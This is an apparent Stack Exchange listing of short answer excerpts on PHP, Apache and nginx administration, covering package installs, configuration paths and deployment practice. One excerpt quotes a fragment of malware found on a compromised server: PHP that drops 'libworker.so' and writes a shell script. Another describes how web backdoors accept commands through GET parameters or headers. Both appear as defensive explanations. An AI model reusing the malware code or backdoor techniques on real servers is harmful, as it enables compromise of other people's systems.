Hot answers tagged

53

First of all you should check what websites are hosted on the server # apachectl -t -D DUMP_VHOSTS Then when you will find a site check corresponding configuration file for the option DocumentRoot. For example # apachectl -t -D DUMP_VHOSTS VirtualHost configuration: wildcard NameVirtualHosts and _default_ servers: *:80 is a ...


22

There are a lot of things you could be doing to improve your deployment process. A few of them are: Ensure your code is well tested. Ideally you should have 100% unit test coverage, as well as integration testing for every conceivable scenario. If you haven't got this, you should probably drop everything and get this taken care of. Look into ...


12

sudo nano /etc/apt/sources.list add deb http://packages.dotdeb.org wheezy all deb-src http://packages.dotdeb.org wheezy all deb http://packages.dotdeb.org wheezy-php56-zts all deb-src http://packages.dotdeb.org wheezy-php56-zts all save and run sudo apt-get update sudo apt-get upgrade sudo apt-get install php5 more info here ...


10

By default "php70" (Software Collection) don't install the mod_php. yum install php70-php And check you haven't any other mod_php (such as the one provided by "php" base package)


8

I completely agree with the items you have so far. I used to run such a multi-user setup a few years ago and I basically found the same trade-off: mod_php is fast (partly because everything runs inside the same process) and suexec is slow but secure (because every request forks a new process). I went with suexec, because user isolation was required. ...


8

This might stop some specific backdoors that only accept POST requests. But it will not stop backdoors in general. A backdoor might accept parameters via GET request, e.g. bad.php?command=somecommand. Or it might execute commands sent via a custom HTTP Header.


8

i have by mistake emptetied my databases for where can i get database backups. Wherevery you did put them. my server team told i do not have backup activated now what to do to solve my issue YOU did not activate backups, now you whine. Sorry, there is nothing you can do. My server is on ubantu VPS 1: is there some server command that could ...


7

I wanted to point out that although this answer works great for older versions, it breaks under recent versions of Apache 2.4 with error code AH00526. ProxyPass and ProxyPassMatch or <Proxy> and <ProxyMatch> cannot be used together within the same worker name. This used to function just fine, so don't know if that was changed by design or if it's ...


6

Install php5 after php5-fpm if you plan to use nginx for example, because php5 needs one of either libapache2-mod-php5, libapache2-mod-php5filter, php5-cgi, or php5-fpm. Apt just picks the first package that satisfies the dependency. $ sudo apt-get install php5-fpm php5


6

In Ubuntu 14.04 the file to change user and group in PHP-FPM is: /etc/php5/fpm/pool.d/www.conf. In this file change these parameters: user = www group = www listen.owner = www listen.group = www


6

It seems from what you say that you have a maintenance window from 1 am to 7 am every day the issue is not time but convenience. This is normal and many people just deal with it as part of business. You could have a 2 (or more backend) systems with a front end that directs traffic to whichever is currently live. Once you are happy that a release is going to ...


6

Update the code. Running an application based on old PHP can pose a security risk for your customer.


5

Another reason ./configure might fail is because you don't have pkg-config installed, like in my case with PHP7 and Debian Jessie: sudo apt-get install pkg-config


5

PHP 5.4 end-of-life date is September 14, 2015. You can find this information on the PHP site, here.


5

From the manual you know what the setting does: Syntax: server_tokens on | off; Default: server_tokens on; Context: http, server, location Enables or disables emitting nginx version in error messages and in the “Server” response header field. So your options are: generate an error message, for instance if you don't have a custom 404 ...


5

<form method="post" action="C:\Inetpub\wwwroot\Drop2.php"> C:\ is not a URL, it's a path. <form method="post" action="Drop2.php"> would be better, assuming the files are in the same folder.


5

After digging in the source codes of offended PHP scripts and googling (this thread), I have found an explanation. This is part of system.php code which I have found: <?php // ... $n = file_put_contents("./libworker.so", $so); $AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; $HBN=basename("/usr/bin/host"); $SCP=getcwd(); @file_put_contents("1.sh", ...


5

Amending the other answers: You should follow the blue-green deployment model. When you want to release a new version you deploy it to an internal staging website. Then, you can run automated tests on the next version production site. When the tests go through you point the load balancer to use the new website. This helps in the following way: Severe ...


5

There are separate configuration files for PHP when called via Apache and when called via the CLI. For example, in Debian (at least), these are in /etc/php5/apache2/php.ini and /etc/php5/cli/php.ini, respectively. The fact that you manually declared imagick.so in apache2/php.ini might not mean anything - most distributions have some other way of managing ...


4

For me, OSX's builtin php is configured to use a different unix-socket than homebrew's mysql. Thus it can't connect via localhost which utilizes that socket. I fixed it with a quick hack by symlinking php's configured socket-path to point to the one mysql actually uses. sudo ln -s /tmp/mysql.sock /var/mysql/mysql.sock The following diagnostic commands ...


4

I finally figured this out. You need to give the docker container the capability to use ptrace. Simply adding --cap-add SYS_PTRACE to the docker run command fixed this problem for me.


4

Everything you have so far seems well thought out. The only thing that I could see as a problem is the fact most exploits seek to gain root access in one way or another. So even if each site and its corresponding processes and scripts are jailed correctly and everything has its own user and permissions a hacker with root couldn't care less, they will just ...


4

I would suggest having each site run under its own Apache daemon, and chrooting Apache. All system php function will fail since the Apache chroot environment will not have access to /bin/sh. This also means that php's mail() function won't also work, but if you're using an external mail provider to send out mail from your email application, then this ...


4

SELinux might be helpful with mod_selinux. A quick howto is featured here: How can I use SELinux to confine PHP scripts? As the instructions are a little dated, I checked whether this works on RHEL 7.1: I've used Fedora 19's version and compiled with mock against RHEL 7.1 + EPEL. YMMV if you use the basic epel config mock ships with: [mockbuild@fedora ...


4

There are a lot of good technical answers provided already (please also have a look here: http://security.stackexchange.com/q/77/52572 and Tips for Securing a LAMP Server), but I still would like to mention here an important point (from yet another perspective) about the security: security is a process. I'm sure you have considered this already, but I still ...


4

FYI for those looking to install PHP 7 using the remi-php70 repository (now that PHP 7.0.0 has been released), you can install packages using the same package names you know and love, for example: php php-cli php-common php-devel php-fpm php-gd php-mbstring php-pdo etc.


4

Confirm that your LAMP server is actually routing mail based on MX record and is not configured with a static mailroute to the old Exchange server. For sendmail you would check for MAIL_HUB or SMART_HOST settings or the mailertable feature, for Exim route_list settings.


4

I have test the same steps, it works for me :( Please check you have change all and only /opt/rh/httpd24/root/var/www to /var/www (despite I don't really understand why you want this): # grep www /opt/rh/httpd24/root/etc/httpd/conf/httpd.conf | grep -v "^#" DocumentRoot "/var/www/html" <Directory "/var/www"> <Directory "/var/www/html"> # ...


4

Using php7 and any OS packages will be difficult until distros (or third party repos) are updated to handle this and you really shouldn't do this on a production system. My advice is to not attempt this and wait until a PHP7 infrastructure is in place. You could work around by installing most things like PHPMyAdmin by hand, but this is not good system ...


4

You may be getting some stderr\stdout output which might help identify the problem. Usually this ends up being mailed to yourself, but if not try adding specific redirection of all output to the end of your crontab entry to a file, e.g.: 0 */3 * * * /usr/bin/php /var/acme/cron/api_update_db.php &> /tmp/cron.output



Only top voted, non community-wiki answers of a minimum length are eligible